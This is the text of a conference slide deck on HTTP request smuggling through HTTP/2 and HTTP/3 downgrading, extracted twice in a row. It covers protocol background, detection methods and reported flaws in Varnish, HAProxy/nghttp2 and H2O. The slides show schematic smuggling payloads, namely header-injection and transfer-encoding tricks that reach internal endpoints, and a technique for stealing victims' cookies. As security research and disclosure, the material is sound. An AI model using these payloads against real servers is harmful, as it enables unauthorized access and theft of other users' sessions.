Emil Lerner HTTP Request Smuggling via higher HTTP versions
Emil Lerner independentsecurityresearcher CTO at WunderFund.io Bushwhackers CTF team @emil_lerner @neex
HTTP Client Server HTTP Response HTTP Request
Reverse proxy HTTP Response HTTP Request Client HTTP Response HTTP Request Frontend Server Backend Server
HTTP keep-alive HTTP Response 1 HTTP Request 1 HTTP Response 2 HTTP Request 2 Client Server
HTTP/1.1 body transfer Content-Length header Content-Length: 100 Here goes 100 bytes of the request body. Transfer-Encoding: chunked ff 10 0 Here goes 255-byte chunk Another chunk Chunked encoding
HTTP keep-alive (to backend) HTTP Response 1 HTTP Request 1 HTTP Response 1 HTTP Request 1 HTTP Response 2 HTTP Request 2 HTTP Response 2 HTTP Request 2 Single backend connection Client2 connection Client1 connection Client1 Client2 Frontend Server Backend Server
HTTP Request Smuggling Old & known attack Gained a lot of attention after James Kettle's talk on BH USA 2019 He discovered a lot of new techniques
HTTP Request Smuggling An attacker sends a malicious request It is parsed as a single request by the frontend and is forwarded to the backend Backend parses it as two separate requests
POST / HTTP/1.1 Content-Length: 100 0 Transfer-Encoding : chunked GET /internal HTTP/1.1 ... Frontend interprets this Backend interprets this Frontend thinks it's body Backend thinks it's another request HTTP Request Smuggling
HTTP Request Smuggling It's all about Content-Length / Transfer-Encoding Transfer-Encoding has precedence We need to "smuggle" Transfer-Encoding to backend unprocessed by the frontend
HTTP Request Smuggling POST / HTTP/1.1 Content-Length: 100 Transfer-Encoding: identity, 0 chunked GET /internal HTTP/1.1 ... Frontend interprets this Backend interprets this Frontend thinks it's body Backend thinks it's another request
Exploitation Accessing internal endpoints Cache poisoning Stealing other users’ requests
Exploitation: stealing requests Attacker→Frontend Victim→Frontend GET / HTTP/1.1 ... POST /save HTTP/1.1 Transfer-Encoding : chunked GET / HTTP/1.1 Cookie: secret GET / HTTP/1.1 Transfer-Encoding : chunked ... POST /save HTTP/1.1 data=GET / HTTP/1.1 Cookie: secret Frontend→Backend
Exploitation: stealing requests The victim's request is appended to ours Most frameworks are OK with newlines in forms Victim's cookies are saved to our profile, PMs or other places where we can view them later
HTTP/2 overview Widely adopted by now Binary protocol (no special chars) Almost always terminated at frontend
HTTP/2 termination :status 200 PRI * HTTP/2.0 <binary> :method GET HTTP/1.1 200 OK GET / HTTP/1.1 Frontend Backend Client
HTTP/2 body transfer Request body is transferred in binary frames Content-Length not required, but allowed Transfer-Encoding: chunked has no effect
Potential bug #1: content-length conflicts actual length Client→Frontend :method POST :authority host.com XGET /internal HTTP/1.1 ... content-length: 1 POST / HTTP/1.1 Host: host.com Content-Length: 1 XGET /internal HTTP/1.1 ... Frontend→Backend body
Potential bug #2: no content-length forwarding Client→Frontend :method :authority host.com GET /internal HTTP/1.1 GET GET / HTTP/1.1 Host: host.com GET /internal HTTP/1.1 Frontend→Backend body
Potential bug #3: content-length conflicting transfer-encoding Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding: chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer-Encoding: chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
HTTP/2 header validation Headers names and values are binary strings Names and values can contain newlines Names can contain colons
Potential bug #4: newlines in headers Client→Frontend :method GET :authority host.com x: ... ⏎⏎GET /internal HTTP/1.1 GET / HTTP/1.1 Host: host.com X: GET /internal HTTP/1.1 ... Frontend→Backend
Potential bug(s) #5: less strict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding : chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 transfer-encoding : chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
Potential bug(s) #5: less strict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer_encoding: chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer_Encoding: chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
Potential bug(s) #5: less strict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding: chunKed POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer-Encoding: chunKed 0 GET /internal HTTP/1.1 ... Frontend→Backend body
What does the RFC say? RFC 7540 mentions Intermediary Encapsulation Attacks in 10.3 Basically says "implementation must reject things it can't handle" :) Explicitly mentions newlines and x00
Detection idea #1: make backend expect more data Craft a request such that Backend expects more data Frontend thinks it sent the whole request The request will hang Implemented in James Kettle's Burp plugin (for HTTP/1.1)
Detection idea #1: make backend expect more data :method POST content-length: 5 h:⏎transfer-encoding:chunked fff Frontend interprets this Backend interprets this Frontend thinks body is finished Backend expects more data and hangs
Chunked encoding should never be parsed in HTTP/2 If the response depends on the chunked encoding validness, it is a possible vulnerability There're some false positives Detection idea #2: chunked body parsing
Detection idea #2: chunked body parsing :status 400 :method POST invalid chunked body transfer-encoding : chunked HTTP/1.1 400 POST / HTTP/1.1 transfer-encoding : chunked invalid chunked body Frontend Backend Client
Detection idea #3: content-length parsing Send something like x:x⏎content-length:1000 If the response depends on the value, it's a possible vulnerability Even more false positives :(
False positive scenario HTTP/2 HTTP/2 termination HTTP/1 processing HTTP/1.1 Frontend Backend Client
Varnish flaw Client→Varnish :method GET :authority host.com GET /internal HTTP/1.1 ... content-length: 0 GET / HTTP/1.1 Host: host.com content-length: 0 GET /internal HTTP/1.1 ... Varnish→Backend body
Potential bug #6: RFC 8441 Designed for WebSockets over HTTP/2 A client sends CONNECT method and sets the :protocol special header Intermediary translates it to Upgrade
Haproxy & nghttp2 flaws Client→Frontend :method :authority host.com GET /internal HTTP/1.1 ... CONNECT :protocol websocket GET / HTTP/1.1 Host: host.com Connection: upgrade Upgrade: websocket GET /internal HTTP/1.1 ... Frontend→Backend body
Open problem: one-way size discrepancy Attacks work if the backend reads less data than the frontend Detection methods work if the backend expects more data What if the first is achievable, but the second is not possible?
Client→Frontend Frontend→Backend H2O http3 (QUIC) flaw :method POST content-length: 100 0 GET /internal HTTP/1.1 ... x:x⏎transfer-encoding:chunked POST / HTTP/1.1 Content-length: 100 X: x Transfer-Encoding: chunked 0 GET /internal HTTP/1.1 ... body
Automation I've implemented http2smugl tool It performs automatic vulnerability detection using the discussed methods Also it supports sending "invalid" queries via custom HTTP/2 implementation
Further research needed HTTP/1 special headers, writing to closed streams, HPACK and >40 implementations not researched Stable detection methods wanted Putting space + path into :method can lead to hitting internal endpoints and Host override
Thank you! https://github.com/neex/http2smugl

HTTP Request Smuggling via higher HTTP versions

  • 1.
    Emil Lerner HTTP Request Smugglingvia higher HTTP versions
  • 2.
    Emil Lerner independentsecurityresearcher CTO atWunderFund.io Bushwhackers CTF team @emil_lerner @neex
  • 3.
  • 4.
    Reverse proxy HTTP Response HTTPRequest Client HTTP Response HTTP Request Frontend Server Backend Server
  • 5.
    HTTP keep-alive HTTP Response1 HTTP Request 1 HTTP Response 2 HTTP Request 2 Client Server
  • 6.
    HTTP/1.1 body transfer Content-Lengthheader Content-Length: 100 Here goes 100 bytes of the request body. Transfer-Encoding: chunked ff 10 0 Here goes 255-byte chunk Another chunk Chunked encoding
  • 7.
    HTTP keep-alive (tobackend) HTTP Response 1 HTTP Request 1 HTTP Response 1 HTTP Request 1 HTTP Response 2 HTTP Request 2 HTTP Response 2 HTTP Request 2 Single backend connection Client2 connection Client1 connection Client1 Client2 Frontend Server Backend Server
  • 8.
    HTTP Request Smuggling Old& known attack Gained a lot of attention after James Kettle's talk on BH USA 2019 He discovered a lot of new techniques
  • 9.
    HTTP Request Smuggling Anattacker sends a malicious request It is parsed as a single request by the frontend and is forwarded to the backend Backend parses it as two separate requests
  • 10.
    POST / HTTP/1.1 Content-Length:100 0 Transfer-Encoding : chunked GET /internal HTTP/1.1 ... Frontend interprets this Backend interprets this Frontend thinks it's body Backend thinks it's another request HTTP Request Smuggling
  • 11.
    HTTP Request Smuggling It'sall about Content-Length / Transfer-Encoding Transfer-Encoding has precedence We need to "smuggle" Transfer-Encoding to backend unprocessed by the frontend
  • 12.
    HTTP Request Smuggling POST/ HTTP/1.1 Content-Length: 100 Transfer-Encoding: identity, 0 chunked GET /internal HTTP/1.1 ... Frontend interprets this Backend interprets this Frontend thinks it's body Backend thinks it's another request
  • 13.
    Exploitation Accessing internal endpoints Cachepoisoning Stealing other users’ requests
  • 14.
    Exploitation: stealing requests Attacker→Frontend Victim→Frontend GET/ HTTP/1.1 ... POST /save HTTP/1.1 Transfer-Encoding : chunked GET / HTTP/1.1 Cookie: secret GET / HTTP/1.1 Transfer-Encoding : chunked ... POST /save HTTP/1.1 data=GET / HTTP/1.1 Cookie: secret Frontend→Backend
  • 15.
    Exploitation: stealing requests Thevictim's request is appended to ours Most frameworks are OK with newlines in forms Victim's cookies are saved to our profile, PMs or other places where we can view them later
  • 16.
    HTTP/2 overview Widely adoptedby now Binary protocol (no special chars) Almost always terminated at frontend
  • 17.
    HTTP/2 termination :status 200 PRI* HTTP/2.0 <binary> :method GET HTTP/1.1 200 OK GET / HTTP/1.1 Frontend Backend Client
  • 18.
    HTTP/2 body transfer Requestbody is transferred in binary frames Content-Length not required, but allowed Transfer-Encoding: chunked has no effect
  • 19.
    Potential bug #1: content-lengthconflicts actual length Client→Frontend :method POST :authority host.com XGET /internal HTTP/1.1 ... content-length: 1 POST / HTTP/1.1 Host: host.com Content-Length: 1 XGET /internal HTTP/1.1 ... Frontend→Backend body
  • 20.
    Potential bug #2: nocontent-length forwarding Client→Frontend :method :authority host.com GET /internal HTTP/1.1 GET GET / HTTP/1.1 Host: host.com GET /internal HTTP/1.1 Frontend→Backend body
  • 21.
    Potential bug #3: content-lengthconflicting transfer-encoding Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding: chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer-Encoding: chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
  • 22.
    HTTP/2 header validation Headersnames and values are binary strings Names and values can contain newlines Names can contain colons
  • 23.
    Potential bug #4: newlinesin headers Client→Frontend :method GET :authority host.com x: ... ⏎⏎GET /internal HTTP/1.1 GET / HTTP/1.1 Host: host.com X: GET /internal HTTP/1.1 ... Frontend→Backend
  • 24.
    Potential bug(s) #5: lessstrict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding : chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 transfer-encoding : chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
  • 25.
    Potential bug(s) #5: lessstrict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer_encoding: chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer_Encoding: chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
  • 26.
    Potential bug(s) #5: lessstrict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding: chunKed POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer-Encoding: chunKed 0 GET /internal HTTP/1.1 ... Frontend→Backend body
  • 27.
    What does theRFC say? RFC 7540 mentions Intermediary Encapsulation Attacks in 10.3 Basically says "implementation must reject things it can't handle" :) Explicitly mentions newlines and x00
  • 28.
    Detection idea #1: makebackend expect more data Craft a request such that Backend expects more data Frontend thinks it sent the whole request The request will hang Implemented in James Kettle's Burp plugin (for HTTP/1.1)
  • 29.
    Detection idea #1: makebackend expect more data :method POST content-length: 5 h:⏎transfer-encoding:chunked fff Frontend interprets this Backend interprets this Frontend thinks body is finished Backend expects more data and hangs
  • 30.
    Chunked encoding shouldnever be parsed in HTTP/2 If the response depends on the chunked encoding validness, it is a possible vulnerability There're some false positives Detection idea #2: chunked body parsing
  • 31.
    Detection idea #2: chunkedbody parsing :status 400 :method POST invalid chunked body transfer-encoding : chunked HTTP/1.1 400 POST / HTTP/1.1 transfer-encoding : chunked invalid chunked body Frontend Backend Client
  • 32.
    Detection idea #3: content-lengthparsing Send something like x:x⏎content-length:1000 If the response depends on the value, it's a possible vulnerability Even more false positives :(
  • 33.
    False positive scenario HTTP/2HTTP/2 termination HTTP/1 processing HTTP/1.1 Frontend Backend Client
  • 34.
    Varnish flaw Client→Varnish :method GET :authorityhost.com GET /internal HTTP/1.1 ... content-length: 0 GET / HTTP/1.1 Host: host.com content-length: 0 GET /internal HTTP/1.1 ... Varnish→Backend body
  • 35.
    Potential bug #6: RFC8441 Designed for WebSockets over HTTP/2 A client sends CONNECT method and sets the :protocol special header Intermediary translates it to Upgrade
  • 36.
    Haproxy & nghttp2flaws Client→Frontend :method :authority host.com GET /internal HTTP/1.1 ... CONNECT :protocol websocket GET / HTTP/1.1 Host: host.com Connection: upgrade Upgrade: websocket GET /internal HTTP/1.1 ... Frontend→Backend body
  • 37.
    Open problem: one-way sizediscrepancy Attacks work if the backend reads less data than the frontend Detection methods work if the backend expects more data What if the first is achievable, but the second is not possible?
  • 38.
    Client→Frontend Frontend→Backend H2O http3(QUIC) flaw :method POST content-length: 100 0 GET /internal HTTP/1.1 ... x:x⏎transfer-encoding:chunked POST / HTTP/1.1 Content-length: 100 X: x Transfer-Encoding: chunked 0 GET /internal HTTP/1.1 ... body
  • 39.
    Automation I've implemented http2smugltool It performs automatic vulnerability detection using the discussed methods Also it supports sending "invalid" queries via custom HTTP/2 implementation
  • 40.
    Further research needed HTTP/1special headers, writing to closed streams, HPACK and >40 implementations not researched Stable detection methods wanted Putting space + path into :method can lead to hitting internal endpoints and Host override
  • 41.